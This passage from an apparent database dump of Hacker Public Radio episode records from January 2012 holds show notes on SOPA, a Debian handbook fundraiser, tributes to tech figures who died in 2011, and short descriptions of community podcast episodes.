SOPA:<br />\r\n<br />\r\n\"Fighting online piracy is of the utmost importance, which is why Go Daddy has been working to help craft revisions to this legislation - but we can clearly do better,\" He then went on to say this also: \"It’s very important that all Internet stakeholders work together on this. Getting it right is worth the wait. Go Daddy will support it when and if the Internet community supports it.\"<br />\r\nThis is a huge win for the free and open internet. It shows that when you can manage to hit a company where it counts, in the bottom line, you really can make them change their position. When you read GoDaddy’s statement the weasilyness jumps right out at you. Which leads me to believe that they are just trying to take the heat off right now and will jump at supporting the next minor revision of SOPA.<br />\r\n<br />\r\nThe Debian Administrator’s Handbook<br />\r\nI am going to try and synopsize the information for you, however if you go to https://debian-handbook.info/ you can read the whole story ab out the book. The book is currently published in French under the title Cahier de l’admin Debian. It is the work of two Debian developers Raphaël Hertzog who maintains dpkg along with several other packages and Roland Mas who maintains argyll and a few other packages. They attempted to have several editors take on the English translation but none where willing to take the risk. The two then decided to do the translation themselves, and then self publish the work. In order to facilitate the translation they did a crowdfunding campaign which raised almost 15,000 EUR. They expect the translation to be done around April 2012. They however wanted to take this further and release the book under an open source licenses acceptable to Debian so that the book can be included in Debian as an installable package. Making it a simple apt-get away for anyone running Debian. They have set this goal at 25,000 EUR, you can make a donation to the \"liberation fund\" here , If you donate 10 EUR or more you are guaranteed a copy when it is ready. If they meet their goal of 25,000 EUR then everyone will be able to get a free copy. I made my donation already if I remember correctly it was about 13.74 USD. So i will get my copy but if we can push this over it would be a great thing. The last time I checked they were at about 65% of their goal.<br />\r\n<br />\r\nAnd now a little about the book. This book requires no prior knowledge of Debian. It will cover all of the topics that anyone needs to become an effective Debian administrator. From installation and update to compiling your own kernel and creating Debian packages from sources. Along with backup, migration and advanced topics like SELinux, automated installations, and virtualization. The first half of the book is for anyone who wants to run Debian. It will teach the basics like installing Debian with the Debian installer, finding documentation, basic troubleshooting, and problem solving. Then the second half of the book is server administrators. It will discuss things like securing the server, automating installations, using virtualization, and setting up common services like Apache, Postfix, OpenLDAP, SAMBA, NFS and many more. You can check out the complete table of contacts here<br />\r\n<br />\r\nThere is also a free sample chapter available \"The APT Tools.\" If you would like to check this out to ensure that the book is up to the quality that you expect then you can click here for a PDF of this great chapter. It covers all of the APT tools like apt-get, aptitude, and other associated tools<br />\r\n<br />\r\nNow to answer some of the questions you may have about this book:<br />\r\nQ) Who is this book for?<br />\r\nA) Anyone who’s interested by Debian. From a regular user, to the administrator of a small network, or that of a large corporation.<br />\r\n<br />\r\nQ) How long is it?<br />\r\nA) The French paperback was about 450 pages.<br />\r\n<br />\r\nQ) What version of Debian does it cover?<br />\r\nA) the current stable version \"Squeeze\"<br />\r\n<br />\r\nSo come people lets get out there and get your copy today and move the project that much closer to their goal of Open Sourcing this book.<br />\r\n<br />\r\n2011 The Year Of The Tech Giant Passing<br />\r\n2011 has been a year in which we lost more tech giants than ever before, a total of fourteen. Lets start with arguably the best known on this list and end with the one I believe had the biggest impact:<br />\r\n<br />\r\nSteven Paul Jobs<br />\r\nFebuary 1955 - October 2011<br />\r\n<br />\r\nJobs experimented with different pursuits before starting Apple Computers with Stephen Wozniak in the Jobs’ family garage. Steve Jobs vision in the consumer electronic market is un paralleled. Hence Apple’s many revolutionary products, such as the iPod, iPhone and iPad. Which are now seen as dictating the evolution of modern technology.<br />\r\n<br />\r\nRobert Morris<br />\r\nThe Unix Encryption Guy<br />\r\nJuly 1932 - June 2011<br />\r\n<br />\r\nAmong the Bell Labs researchers who worked on Unix with Thompson and Ritchie was Bob Morris, who developed Unix’s password system, math library, text-processing applications and crypt function. In 1986 Morris left to join the NSA, where he led the agency’s National Computer Security Center until 1994.<br />\r\n<br />\r\nJohn McCarthy<br />\r\nOriginator Of AI<br />\r\nSeptember 1927 - October 2011<br />\r\n<br />\r\nThe creator of the Lisp programming language and the \"father of artificial intelligence\" (he coined the term in 1956). In 1957 McCarthy started the first work on time-sharing on a computer. That original project led to Multics, which then led to Unix. In the early 1970s he predicted online shopping. This prediction led researcher Whitfield Diffie to create public-key cryptography used in the authentication of e-commerce documents.<br />\r\n<br />\r\nKen Olsen<br />\r\nThe Digital Man<br />\r\nFebruary 1926 - February 2011<br />\r\n<br />\r\nWhen he worked at MIT’s Lincoln Laboratory in the 50s took note of students queuing up to use an older model computer, called TX-0, even when a more modern and much faster mainframe was available. The big diffrence and the reason that the students lined up for the TX-0 was that the mainframe ran batch jobs and the TX-0 allowed for online interactivity. So in 1957 he and a colleague, Harlan Anderson, ran with that information and $70,000 in start up capital to start DEC (Digital Equipment Corp.) DEC went on to create PDP series of computers of which Ritchie and Thompson created Unix on a PDP-7.<br />\r\n<br />\r\nPaul Baran<br />\r\nThe Packet Man<br />\r\nApril 1926 - March 2011<br />\r\n<br />\r\nBaran while working as a researcher for the Rand Corp. in 1961came up the idea that messages can be broken down into smaller pieces, then sent to a destination even via multiple routes if necessary and then put back together when they arrive to ensure delivery. Arpanet adopted Packet switching as its means of communication, Arpanet then grew into the Internet, and eventually for local-area networks in the form of Ethernet.<br />\r\n<br />\r\nJean Bartik<br />\r\nLast of the First Programmers<br />\r\nDecember 1924 - March 2011<br />\r\n<br />\r\nShe was the last surviving member of the original programming team for the ENIAC. But that understates her work, she was the only female math graduate in her 1945 college, and she served as a lead programmer on the ENIAC project. Bartik also developed circuit logic and did design work under the direction of ENIAC’s hardware developer, J. Presper Eckert.<br />\r\n<br />\r\nJack Keil Wolf<br />\r\nDisk Drivin’ Man<br />\r\nFebruary 1926 - February 2011<br />\r\n<br />\r\nWolf did more than almost anyone else to use math to cram more data into magnetic drives, flash memory and electronic communications channels. In 1984, he moved to the new Center for Magnetic Recording Research at the University of California, San Diego. It was a good choice. Wolf and his students, dubbed the \"Wolf pack,\" cross-pollinated magnetic drive design with information theory, applying compression in increasingly creative ways, and spread Wolf’s ideas throughout the industry.<br />\r\n<br />\r\nJulius Blank<br />\r\nCreator Of The Silicon In Silicon Valley<br />\r\nJune 1925 - September 2011<br />\r\n<br />\r\nJulius Blank one of the \"Traitorous Eight\" engineers who founded Fairchild Semiconductor in 1957. He and his seven colleagues had acquired that unsavory nickname when they left Nobel Prize-winning physicist William Shockley just a year after being recruited to create a new kind of transistor at Shockley Labs. Before going to college, he had been trained as a machinist. Along with eventual venture capitalist Gene Kleiner, Blank built Fairchild’s machine shop, and created the manufacturing machinery that would produce the first silicon based transistors.<br />\r\n<br />\r\nRobert Galvin<br />\r\nBreaker Of The AT&amp;T Mobile Monopoly<br />\r\nOctober 1922 - October 2011<br />\r\n<br />\r\nGalvin broke AT&amp;T’s monopoly on mobile-phone service in the U.S. when he demonstrated a Motorola phone for president Reagan at the White House in 1981. Ronald Reagan then pushed the FCC to approve Motorola’s proposal for a competing cellular network. By the time Galvin retired as Motorola’s chairman in 1990, the company dominated the cellphone hardware business.<br />\r\n<br />\r\nGerald A. Lawson<br />\r\nCreator Of The Video Game Cartridge<br />\r\nDecember 1940 - April 2011<br />\r\n<br />\r\nJerry Lawson a 6-foot-6, more than 250 lbs. African-American, which was even more of an IT industry rarity in the 1970s than today. Lawson’s creation, the Fairchild Channel F, arrived in 1976, a year before Atari’s first home game system, and sparked an industry of third-party video games. Lawson discovered that the biggest challenge with plug-in cartridges was satisfying the FCC’s radio-frequency interference requirements. In a 2006 interview he describes the process:<br />\r\n<br />\r\n\"We had to put the whole motherboard in aluminum. We had a metal chute that went over the cartridge adapter to keep radiation in. Each time we made a cartridge, the FCC wanted to see it, and it had to be tested.\"<br />\r\nIts biggest impact was on Lawson’s friends at Atari, who rushed their own cartridge-based home system into production. The rise of the video game had begun.<br />\r\n<br />\r\nGeorge Devol<br />\r\nThe Man With The Robot Arm<br />\r\nFebruary 1912 - August 2011<br />\r\n<br />\r\nGeorge Devol developed the first digitally programmable robot arm. He also invented a system for recording sound for movies in the 1930s, then switched to systems that used photoelectric cells to open and close doors and sort bar-coded packages. Devol turned his inventiveness to factory automation in the 1950s. The large programmable \"Unimate\" arm he developed used magnetic drum memory and discrete solid-state control components. It made its factory debut in 1961 on a General Motors assembly line in New Jersey, stacking freshly die-cast (and very hot) metal parts. Within 20 years, Devol’s Unimation was the biggest robotic-arm company in the world.<br />\r\n<br />\r\nLee Davenport<br />\r\nAnti-Aircraft Innovator<br />\r\nDecember 1915 - September 2011<br />\r\n<br />\r\nLee Davenport didn’t invent battlefield radar. He developed an anti-aircraft gun that combined radar with a computer to control anti-aircraft guns. At the Battle of the Bulge, the radar system was also used to spot German ground vehicles in the snowy terrain. In addition, the SCR-584 was used in 1944 to defend London against German buzz bombs. The SCR-584 crews were very effective in shooting down the buzz bombs.<br />\r\n<br />\r\nWilson Greatbatch<br />\r\nHeartbeat of the Century<br />\r\nSeptember 1919 - September 2011<br />\r\n<br />\r\nIn 1956 Wilson Greatbatch, an electrical-engineering professor at the University of Buffalo, made an electronic mistake that led to the invention of the pacemaker. He was building a heart rhythm monitor for the school’s Chronic Disease Research Institute when he attached a wrong-size resistor to a circuit, causing it to produce intermittent electrical pulses. Greatbatch realized that this might be used to regulate a damaged heart. Two years later, doctors at the Veterans Administration hospital in Buffalo demonstrated that a 2-cubic-in. implantable device built by Greatbatch could regulate a dog’s heart. In 1960 in Buffalo, 10 patients (including two children) received Greatbatch’s device, and its battery lasted two years or more. In 1972, Greatbatch was able to re-engineer the device with a new battery that worked for more than a decade.<br />\r\n<br />\r\nDennis M. Ritchie<br />\r\nAn Originator of Unix, Inventor of C<br />\r\nSeptember 1941 - October 2011<br />\r\n<br />\r\nDennis Ritchie is one of the authors of the Unix operating system, and designed the C programming language. And he promoted both, starting in the 1970s. You may ask how influential all of that work was? Well just look at the number of closed source Unix clones we have today, not to mention their Open Source brethren the BSDs. Along with Linux a Unix work alike. Not to mention C, which eight of the top ten programming languages descend from.<br />\r\n<br />\r\nRaspberry Pi, a Tiny But Powerful $25 PC -<br />\r\nThe final Raspberry Pi will come in two flavors: A $25 version with 128MB of RAM and no network connection and a $35 one with Ethernet. Both versions will have USB and HDMI ports as well as analog video and audio outputs. It’s driven by a The 1080p video magic is driven by a 700MHz ARM processor, and the whole thing is powered by a 5-volt power supply.<br />\r\nThe Year in Review: Desktop Linux Developments in 2011<br />\r\nThe \"year in review\" pieces that proliferate old and new media alike around this time of year get tedious pretty fast. But because I’ve yet to see a good compilation of the major developments — and there were plenty of them — that affected desktop Linux in 2011<br />\r\nOuttro Music:<br />\r\nTime: 1hr 14:48<br />\r\nJamendo.com<br />\r\nStopping the World by Of The I<br />\r\n',159,54,1,'CC-BY-SA','Sunday Morning Linux Review,New Year, 2012',0,3435,1),
(900,'2012-01-13','Episode 000 - Introduction',894,'A first podcast and introduction','<p>\r\nIn this episode, the first of a hopefully long series, Garjola introduces himself and explains how he got into computers, programming and free software. You can get in touch with Garjola by e-mail at garjola@garjola.net.\r\n</p>',197,0,1,'CC-BY-SA','Commodore,BASIC,ZX Spectrum 48k,assembler,Pascal,C,C++,Debian,Red Hat',0,2535,1),
(901,'2012-01-16','Ahuka: Intro and How I Got Into Linux',1834,'An introduction from a new host','Another hosts steps up to the plate and introduces them selves to the Hacker Public Radio elite. Today it\'s the turn of Ahuka who opens with the now traditional \"How I Got Into Linux\" show.<br />\r\n<br />\r\nHis website is at <a href=\"https://www.zwilnik.com\">https://www.zwilnik.com</a>',198,29,1,'CC-BY-SA','mainframe,punched card,teletype,Sinclair ZX80,PC XT,DOS,Linux,KDE',0,2278,1),
(902,'2012-01-17','TGTM Tech News for 2012-01-09',1289,'A newscast from Talk Geek to Me','<p>\r\nShownotes are available at <a href=\"https://www.talkgeektome.us/tgtmnews-57.html\">https://www.talkgeektome.us/tgtmnews-57.html</a>\r\n</p>\r\n<hr/>\r\n<p>\r\nTGTM Tech News for 2012-01-09\r\nNewsCast\r\nShownotes are available at <a href=\"https://www.talkgeektome.us/tgtmnews-57.html\">Show Notes for TGTM news 57</a>\r\n\r\n</p>\r\n\r\n<h1 style=\"text-align: center;\">TGTM Newscast for 2012/01/09</h1>\r\n<h2 style=\"text-align: center;\">DeepGeek</h2>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://www.allgov.com//ViewNews/Largest_Dutch_Pension_Fund_Pulls_Investments_in_Walmart_over_Poor_Labor_Practices_120108\">Largest Dutch Pension Fund Pulls Investments in Walmart over Poor Labor Practices</a></li>\r\n  <li><a href=\"https://www.havanatimes.org/?p=59164\">Yoani Sanchez Makes New Plea to Exit Cuba</a></li>\r\n  <li><a href=\"https://www.thestand.org/2012/01/attacks-on-minimum-wage-are-back-in-2012/\">Attacks on minimum wage are back in 2012</a></li>\r\n  <li><a href=\"https://maggiemcneill.wordpress.com/2012/01/07/living-in-truth/\">Living in Truth</a></li>\r\n  <li><a href=\"https://www.havanatimes.org/?p=59254\">Private Sector Cuban Workers to Join Unions</a></li>\r\n  <li><a href=\"https://torrentfreak.com/belarus-bans-browsing-of-all-foreign-websites-120103/\">Belarus Bans Browsing of All Foreign Websites</a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/01/thailand-continues-massive-crackdown-online-political-speech\">Thailand Continues Massive Crackdown of Online Speech</a></li>\r\n  <li><a href=\"https://torrentfreak.com/bittorrent-releases-new-share-application-120105/\">BitTorrent Releases New \"Share\" Application</a></li>\r\n  <li><a href=\"https://torrentfreak.com/file-sharing-recognized-as-official-religion-in-sweden-120104/\">File-Sharing Recognized as Official Religion in Sweden</a></li>\r\n  <li><a href=\"https://perspectives.mvdirona.com/2012/01/02/ARMV8Architecture.aspx\">ARM V8 Architecture</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://inthesetimes.com/article/12486/occupy_the_electoral_process/\">Occupy the Electoral Process</a></li>\r\n  <li><a href=\"https://www.web.gpnys.com/?p=11418\">Green Party Says Cuomo’s State of the State Does Little for 99% of New Yorkers</a></li>\r\n  <li><a href=\"https://inthesetimes.com/article/12427/canaries_in_the_data_mines/\">Canaries in the Data Mines</a></li>\r\n  <li><a href=\"https://arstechnica.com/gadgets/news/2012/01/gigabit-wi-fi-chips-emerge-will-power-super-fast-home-video-streaming.ars\">Gigabit Wi-Fi chips emerge, will power super-fast home video streaming</a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/01/truth-about-economics-behind-blacklist-bills\">The Truth about the Economics Behind the Blacklist Bills</a></li>\r\n</ul>\r\n<p>News from \"allgov.com,\" \"havanatimes.org,\" \"maggiemcneill.wordpress.com,\" \"perspectives.mvdirona.com,\" and \"thestand.org\" used under&nbsp;arranged permission.</p>\r\n<p>News from&nbsp;\"eff.org\"&nbsp; and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution&nbsp;license. </p>\r\n<p>News Sources retain their respective copyrights.</p> \r\n<h6>talkgeektome.us</h6>\r\n<p><a href=\"https://www.talkgeektome.us\">Talk Geek To Me Newscast</a> by DeepGeek is licensed under a <a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/3.0/\">Creative\r\nCommons Attribution-ShareAlike 3.0 Unported License</a>.</p>\r\n<p>Quoted news sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://arstechnica.com/gadgets/news/2012/01/gigabit-wi-fi-chips-emerge-will-power-super-fast-home-video-streaming.ars\">https://arstechnica.com/gadgets/news/2012/01/gigabit-wi-fi-chips-emerge-will-power-super-fast-home-video-streaming.ars</a>\r\n</li>\r\n<li><a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">https://creativecommons.org/licenses/by-sa/3.0/</a>\r\n</li>\r\n<li><a href=\"https://inthesetimes.com/article/12427/canaries_in_the_data_mines/\">https://inthesetimes.com/article/12427/canaries_in_the_data_mines/</a>\r\n</li>\r\n<li><a href=\"https://inthesetimes.com/article/12486/occupy_the_electoral_process/\">https://inthesetimes.com/article/12486/occupy_the_electoral_process/</a>\r\n</li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/01/07/living-in-truth/\">https://maggiemcneill.wordpress.com/2012/01/07/living-in-truth/</a>\r\n</li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2012/01/02/ARMV8Architecture.aspx\">https://perspectives.mvdirona.com/2012/01/02/ARMV8Architecture.aspx</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/01/thailand-continues-massive-crackdown-online-political-speech\">https://www.eff.org/deeplinks/2012/01/thailand-continues-massive-crackdown-online-political-speech</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/01/truth-about-economics-behind-blacklist-bills\">https://www.eff.org/deeplinks/2012/01/truth-about-economics-behind-blacklist-bills</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/belarus-bans-browsing-of-all-foreign-websites-120103/\">https://torrentfreak.com/belarus-bans-browsing-of-all-foreign-websites-120103/</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/bittorrent-releases-new-share-application-120105/\">https://torrentfreak.com/bittorrent-releases-new-share-application-120105/</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/file-sharing-recognized-as-official-religion-in-sweden-120104/\">https://torrentfreak.com/file-sharing-recognized-as-official-religion-in-sweden-120104/</a>\r\n</li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Largest_Dutch_Pension_Fund_Pulls_Investments_in_Walmart_over_Poor_Labor_Practices_120108\">https://www.allgov.com//ViewNews/Largest_Dutch_Pension_Fund_Pulls_Investments_in_Walmart_over_Poor_Labor_Practices_120108</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=59164\">https://www.havanatimes.org/?p=59164</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=59254\">https://www.havanatimes.org/?p=59254</a>\r\n</li>\r\n<li><a href=\"https://www.talkgeektome.us\">https://www.talkgeektome.us</a>\r\n</li>\r\n<li><a href=\"https://www.talkgeektome.us/tgtmnews-57.html\">https://www.talkgeektome.us/tgtmnews-57.html</a>\r\n</li>\r\n<li><a href=\"https://www.thestand.org/2012/01/attacks-on-minimum-wage-are-back-in-2012/\">https://www.thestand.org/2012/01/attacks-on-minimum-wage-are-back-in-2012/</a>\r\n</li>\r\n<li><a href=\"https://www.web.gpnys.com/?p=11418\">https://www.web.gpnys.com/?p=11418</a>\r\n</li>\r\n</ul>\r\n',237,28,1,'CC-BY-SA','newscast,TGTM',0,2175,1),
(903,'2012-01-17','SOPA Protest',16,'The HPR domain is redirected to https://www.nosopa.org/ in protest','In protest at the attempt to restrict the Internet the HPR community have decided to take part in a say of action by redirecting the https://hackerpublicradio.org domain to https://www.nosopa.org/ for January 18th.',159,0,1,'CC-BY-SA','SOPA,Stop Online Piracy Act,protest',0,2137,1),
(904,'2012-01-18','Frostcast Northeast GNU/Linux Fest',2577,'A show from Frostcast about NELF','<p>\r\nToday it\'s the turn of Frostcast talking about the second annual Northeast GNU/Linux Fest.<br />\r\nSpecial thanks KnightWise for letting us bump his show.<br />\r\n<a href=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</a><br/>\r\n<a href=\"https://frostbitemedia.org/\">https://frostbitemedia.org/</a>\r\n</p>\r\n<p>\r\nThe Northeast GNU/Linux Fest is an advocate of Free software. We hope to bring\r\nawareness of Free software to college students their schools, programmers and\r\nbusinesses. We welcome everyone from the new user to the people that have been\r\nthere from the beginning. Come and learn how Free software can affect\r\naccessibility and your business, graphic design, software security and\r\nperformance along with stability. So lets take back control of our computers\r\nand gadets and learn about software Freedom and The 4 Freedoms we should be\r\nconcerned about. Come to the Northeast GNU/Linux Fest to learn, teach and talk\r\nabout Free software and join the Free software revolution.\r\n</p>\r\n',159,54,1,'CC-BY-SA','Northeast GNU/Linux Fest,NELF 2012,Worcester State University',0,2279,1),
(2092,'2016-08-09','My new love',1872,'I talk about how I got my latest laptop ','<p>\r\n<a href=\"https://swift110.wordpress.com/2016/07/07/my-new-love/\">https://swift110.wordpress.com/2016/07/07/my-new-love/</a>\r\n</p>',297,0,0,'CC-BY-SA','thinkpad, laptop, linux, computers',0,0,1),
(905,'2012-01-19','Akranis: How I got into Linux ',349,'An introductory show from a new host','<p>\r\nA 5 minute show about how I came to know Linux and the distribution I use today.\r\n</p>\r\n<p>\r\nYou can find my modified bashpodder script here: <a href=\"https://pastebin.com/zGtMRA9m\">https://pastebin.com/zGtMRA9m</a>\r\n</p>\r\n<p>\r\nAnd you can find the original script here: <a href=\"https://lincgeek.org/bashpodder/\">https://lincgeek.org/bashpodder/</a>\r\n</p>\r\n<p>\r\n<a href=\"mailto:hexagenic@gmail.com\">hexagenic@gmail.com</a>\r\n</p>',199,29,1,'CC-BY-SA','Smoothwall,Puppy Linux,Ubuntu,Arch,Debian,Bash,Bashpodder',0,2362,1),
(906,'2012-01-20','FOSDEM 2012',2149,'Ken interviews Pascal Bleser, FOSDEM organisation team member','<p>\r\nIn Today\'s show Ken interviews Pascal Bleser of the FOSDEM organisation team. FOSDEM is the biggest free and non-commercial event organized by and for the community. Its goal is to provide Free and Open Source developers a place to meet.\r\n</p>\r\n<p>\r\n<strong>If you are going to FOSDEM, please contact Ken</strong>\r\n</p>\r\n<p>\r\n<a href=\"https://fosdem.org/2012/\">https://fosdem.org/2012/</a><br />\r\n</p>\r\n<p>\r\n<em>Apologies for the crackling on the recording</em></p>\r\n',30,78,1,'CC-BY-SA','Interview,FOSDEM,FOSDEM 2012',0,2195,1),
(907,'2012-01-23','Learning',260,'Using web resources to become an autodidact','<p>This is the first episode recorded by mordancy using text to speech technology. In this episode I want to bring attention to 3 cool learning websites that I have found useful in my autodidactic (self taught) pursuits\r\n</p>\r\n<p>\r\n<a href=\"https://codeacademy.com\">https://codeacademy.com</a><br />\r\n<a href=\"https://ocw.mit.edu\">https://ocw.mit.edu</a><br />\r\n<a href=\"https://arachnoid.com\">https://arachnoid.com</a><br />\r\n<a href=\"https://arachnoid.com/arachnophilia/index.php\">https://arachnoid.com/arachnophilia/index.php</a><br />\r\n<a href=\"https://arachnoid.com/lutusp/alien.html\">https://arachnoid.com/lutusp/alien.html</a><br />\r\n</p>\r\n<p>\r\nemail me : hpr [at] mordancy [dot] com\r\n</p>\r\n<p>\r\nIf there is interest, I will record a show on you how to record an HPR episode using text to speech (tts) tools - specifically espeak\r\n</p>\r\n',200,0,1,'CC-BY-SA','espeak,text to speech,free course',0,2445,1),
(908,'2012-01-24','TV Downloader TED',372,'TED - Torrent Episode Downloader','<p>Hello everyone its riddlebox, sorry its been so long since I have done a podcast.</p>\r\n<p>Today I am going to tell you about my kinda sorta home dvr that I have at the moment.</p>\r\n<p>No, this isn\'t another show talking about mythtv....even though the mythtv project is a good one...</p>\r\n<p>Our myth box at home died a while back and we lost three tuner cards which I hadn\'t realized how expensive the setup was getting to be needing all of the tuner cards and a back end server that could handle everything.</p>\r\n<p>So I looked at a debian server I have been using as my zoneminder server which just records two cameras when there is motion.\r\nI found a Java app called TED - or <em>torrent episode downloader</em> from <a href =\"https://www.Ted.nu\">www.Ted.nu</a>.\r\nAs the name states it uses torrents to download the shows. With this application which you download and launch from the jar file..\r\nI had to use a <code>--no-tray</code> switch to get it to run.</p>\r\n<p>Once you open the jar file you are greeted with the app and a list of the popular shows.\r\nYou can tell it to start torrenting those shows and you can tell Ted the frequency of how often to look for new shows.\r\nYou can even tell it to get past shows.</p>\r\n<p>So I got Ted all configured the way I wanted, then I setup a guest SAMBA share on my downloads folder so my blue ray player can see the share, and now I just go to my blue ray player and see what shows are available to watch.\r\nSome shows may show up a couple days after they air but overall it works great.</p>\r\n',94,0,1,'CC-BY-SA','DVR,bittorrent,SAMBA',0,2858,1),
(909,'2012-01-25','KC0058 : Streampunking with Instapaper',2795,'Managing your information feeds','<p>\r\nToday it\'s The Knightcast KC0058 : Streampunking with Instapaper.<br />\r\nSpecial thanks KnightWise for letting us bump his show.<br />\r\n<!-- This link does not work. Replaced 2016-08-08\r\n<a href=\"https://www.knightwise.com/knightcast-podcast/894-the-knightcast-kc0058--streampunking-with-instapaper\">https://www.knightwise.com/knightcast-podcast/894-the-knightcast-kc0058--streampunking-with-instapaper</a>\r\n-->\r\n<a href=\"https://knightwise.com/the-knightcast-kc0058-streampunking-with-instapaper/\"> https://knightwise.com/the-knightcast-kc0058-streampunking-with-instapaper/</a>\r\n</p>\r\n<hr/>\r\n<p>\r\nWe dive into the world of RSS readers and teach you cool cross-platform tips on managing your information feeds to share and consume your favorite content. We take a close look at Google Reader and the Instapaper service with its several API\'s and teach you some cool tricks to turn those saved articles into podcasts. Spice it up with some cross platform goodness and you are ready for another Knightcast.\r\n</p>\r\n',159,54,1,'CC-BY-SA','RSS,Google Reader,Instapaper',0,2196,1),
(910,'2012-01-26','Introduction to Pagekite.',836,'Software that gives your localhost servers names and makes them globally visible','<p>\r\nWelcome to my awkward second episode.<br />\r\nToday I\'ll be introducing you to pagekite, a service for giving a public face to your local servers.<br />\r\nCheck it out at <a href=\"https://www.pagekite.net\">https://www.pagekite.net</a>\r\n</p>\r\n<p>\r\n<h2>Bring your localhost servers on-line.</h2>\r\n<p>\r\nPageKite is software that gives your localhost servers names and makes them globally visible. It works with any computer and any Internet connection.\r\nIt\'s so easy you\'ll never want to think about routers, IP addresses or other technicalities again. It\'s open source, too!\r\n</p>',193,0,1,'CC-BY-SA','reverse proxy',0,2365,1),
(911,'2012-01-27','Hobbies',2066,'Mr X talks about hobbies he\'s had over the years','<p>\r\nA show about the hobbies I\'ve had over the years\r\n</p>\r\n<p>\r\nThe Secret Life of machines videos by Tim Hunkin, originally broadcasted in the UK in around 1980\r\n<a href=\"https://www.exploratorium.edu/ronh/SLOM/\">https://www.exploratorium.edu/ronh/SLOM/</a>\r\n</p>\r\n<p>\r\nOhms Law \r\n<a href=\"https://people.usd.edu/~schieber/psyc770/resistors/ohms4beginner.html\">https://people.usd.edu/~schieber/psyc770/resistors/ohms4beginner.html</a>\r\n</p>\r\n<p>\r\nInformation about the thermionic valve \r\n<a href=\"https://en.wikipedia.org/wiki/Vacuum_tube\">https://en.wikipedia.org/wiki/Vacuum_tube</a>\r\n</p>\r\n<p>\r\nCalculating Wavelength\r\n<a href=\"https://www.ewart.org.uk/physics/index.php?l=44\">https://www.ewart.org.uk/physics/index.php?l=44</a>\r\n</p>\r\n<p>\r\nSmall Yaseu FT 817, Multi Mode Hf, VHF and UHF transceiver\r\n<a href=\"https://www.g4ilo.com/ft817.html\">https://www.g4ilo.com/ft817.html</a> 19:00\r\n</p>\r\n<p>\r\nBase Station Kenwood TS 940S, Multi Mode Hf Transceiver\r\n<a href=\"https://www.universal-radio.com/catalog/hamhf/ts940s.html\">https://www.universal-radio.com/catalog/hamhf/ts940s.html</a> 19:00\r\n</p>\r\n<p>\r\nAmiga 500 Computer\r\n<a href=\"https://www.obsoletecomputermuseum.org/amiga500/\">https://www.obsoletecomputermuseum.org/amiga500/</a>\r\n</p>\r\n<p>\r\nBeginning Ubuntu Linux from novice to professional \r\n<a href=\"https://www.amazon.com/Beginning-Ubuntu-Linux-Novice-Professional/dp/1590596277\">https://www.amazon.com/Beginning-Ubuntu-Linux-Novice-Professional/dp/1590596277</a>\r\n</p>\r\n<p>\r\nLinux Pocket guide \r\n<a href=\"https://www.amazon.com/Linux-Pocket-Guide-Daniel-Barrett/dp/0596006284/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1327077298&amp;sr=1-1\">https://www.amazon.com/Linux-Pocket-Guide-Daniel-Barrett/dp/0596006284/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1327077298&amp;sr=1-1</a>\r\n</p>\r\n<p>\r\nWicked cool shell scripts \r\n<a href=\"https://nostarch.com/wcss.htm\">https://nostarch.com/wcss.htm</a>\r\n</p>\r\n<p>\r\nRaspberry PI, micro Computer for $35 \r\n<a href=\"https://www.raspberrypi.org\">https://www.raspberrypi.org</a>\r\n</p>\r\n',201,0,1,'CC-BY-SA','playing music,electronics,amateur radio,computing',0,2375,1),
(912,'2012-01-30','How I cut The Cable Cord Part1',310,'A new host speaks about cable cutting','In his very first episode our latest community memeber to step up to the plate takes on the topic of cutting the cord.',202,0,1,'CC-BY-SA','Cable TV,internet streaming,Roku',0,2415,1),
(913,'2012-01-31','Exchanging Data Podcast 1',530,'An introduction to the data formats available when talking to web services','<p>\r\nThis podcast is the first in a series about accessing the data you have on your web site in any number of other locations.  These can be other web sites or apps running on your mobile phone.  Over the next few episodes, I will describe the different formats used for sharing your data, what goes into building the web application that serves up your data, how to access your data from other locations such as other web sites or mobile apps, and, finally, I will talk briefly on how to make something like this scale to support higher load demands.\r\n</p><p>\r\nThis episode is an introduction to the data formats available when talking to web services.\r\n</p><p>\r\nThanks for listening!\r\n</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://github.com/dmfrey/ExchangingDataPresentation\"> https://github.com/dmfrey/ExchangingDataPresentation</a></li>\r\n</ul>\r\n\r\n',203,0,1,'CC-BY-SA','open schedule,exchanging data,XML,DTD,XML schema,JSON,JSONP',0,2180,1),
